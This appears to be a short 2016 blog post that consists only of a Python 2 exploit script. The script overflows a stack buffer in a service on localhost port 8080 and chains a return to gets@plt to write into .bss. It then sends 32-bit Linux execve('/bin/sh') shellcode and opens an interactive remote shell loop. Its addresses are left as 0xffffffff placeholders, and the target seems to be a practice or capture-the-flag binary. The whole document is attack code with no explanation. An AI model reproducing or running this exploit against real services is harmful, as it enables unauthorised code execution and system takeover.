B4sh5i 2016. 9. 29. 09:03

from socket import *

import struct




p = lambda x:struct.pack("<L",x)


HOST = "127.0.0.1"

PORT = 8080


gets_plt = 0xffffffff

bss = 0xffffffff


payload ="\x90"*68

payload+=p(gets_plt)

payload+=p(bss)

payload+=p(bss)



s = socket(AF_INET,SOCK_STREAM)

s.connect((HOST,PORT))

s.send(payload +"\n")

s.send("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\n")


while True :

cmd=raw_input("$")

s.send(cmd+"\n")

print s.recv(1024)


s.close()